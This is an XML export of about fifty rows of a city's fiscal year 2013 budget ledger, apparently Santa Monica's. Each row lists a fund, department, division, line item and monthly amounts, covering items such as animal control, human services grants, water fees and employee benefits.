<row _id="956"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20482.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20482.0</total></row>
<row _id="957"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>577130.0</object><object_description>CONSUMER PROTECTION UNIT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="958"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>577140.0</object><object_description>DISABILITY ACCOMODATIONS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="959"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400420.0</object><object_description>SKATE PARK</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-31163.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-31163.0</total></row>
<row _id="960"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>401381.0</object><object_description>DOG &amp; CAT NEUTER DEPOSITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-11680.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-11680.0</total></row>
<row _id="961"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522986.0</object><object_description>CNG FUEL-SERVICE VEHICLES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="962"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522830.0</object><object_description>FUEL AND OIL TAXES-REV EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="963"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>555320.0</object><object_description>ANIMAL SHELTER SUPPORT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>102794.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>102794.0</total></row>
<row _id="964"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>555340.0</object><object_description>DOG/CAT NEUTER SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>21433.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>21433.0</total></row>
<row _id="965"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544171.0</object><object_description>PARTICIPANT UNIFORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4004.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4004.0</total></row>
<row _id="966"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5500.0</total></row>
<row _id="967"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>714.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>714.0</total></row>
<row _id="968"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2845.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2845.0</total></row>
<row _id="969"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9388.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9388.0</total></row>
<row _id="970"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5711.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5711.0</total></row>
<row _id="971"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="972"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>101047.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>101047.0</total></row>
<row _id="973"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561133.0</object><object_description>OPCC-DAYBREAK DAY CTR-GEN FND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>227105.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>227105.0</total></row>
<row _id="974"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562121.0</object><object_description>COMPREHENSIVE CHILD CARE PROG</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>771172.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>771172.0</total></row>
<row _id="975"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562361.0</object><object_description>ST JOE-FAM SELF SUF PRG-GEN FD</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>105670.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>105670.0</total></row>
<row _id="976"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563122.0</object><object_description>ADULT DAY CARE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>131428.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>131428.0</total></row>
<row _id="977"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544280.0</object><object_description>HAZ-MAT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9000.0</total></row>
<row _id="978"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>24158.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>242</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24400.0</total></row>
<row _id="979"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="980"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511740.0</object><object_description>EMPLOYEE HEALTH INSURANCE</object_description><category_code>820.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>510500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>510500.0</total></row>
<row _id="981"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566820.0</object><object_description>SMMUSD JOINT USE AGREEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8282650.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8282650.0</total></row>
<row _id="982"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577860.0</object><object_description>TORCA REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-98910.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-98910.0</total></row>
<row _id="983"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578300.0</object><object_description>SUPPORTIVE HOUSING PROGRAM</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>113192.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>113192.0</total></row>
<row _id="984"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578200.0</object><object_description>AIRPORT REIMBURSEMENT FOR SBDC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-29868.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-29868.0</total></row>
<row _id="985"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578250.0</object><object_description>STORMWATER / WASTEWATER REIMB</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1099737.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1099737.0</total></row>
<row _id="986"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>17250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17250.0</total></row>
<row _id="987"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-1912697.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1912697.0</total></row>
<row _id="988"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402360.0</object><object_description>WATER - METER SRVC / INSTALL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-312000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-312000.0</total></row>
<row _id="989"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>404800.0</object><object_description>WATER DEMAND MITIGATION FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-300000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-300000.0</total></row>
<row _id="990"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>400210.0</object><object_description>CITY CLERK COUNTER FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-788.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-788.0</total></row>
<row _id="991"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>401060.0</object><object_description>STATE SB 90 CLAIMS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-22000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-22000.0</total></row>
<row _id="992"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400670.0</object><object_description>FIRE PERMITS / FEES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-743392.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-743392.0</total></row>
<row _id="993"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>23236.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23236.0</total></row>
<row _id="994"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9500.0</total></row>
<row _id="995"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>27000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>27000.0</total></row>
<row _id="996"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5144.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>51</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5195.0</total></row>
<row _id="997"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>800.0</total></row>
<row _id="998"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="999"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>26833.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26833.0</total></row>
<row _id="1000"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>29178.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29178.0</total></row>
<row _id="1001"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>90646.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>6281</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>96927.0</total></row>
<row _id="1002"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>130663.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>5682</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>136345.0</total></row>
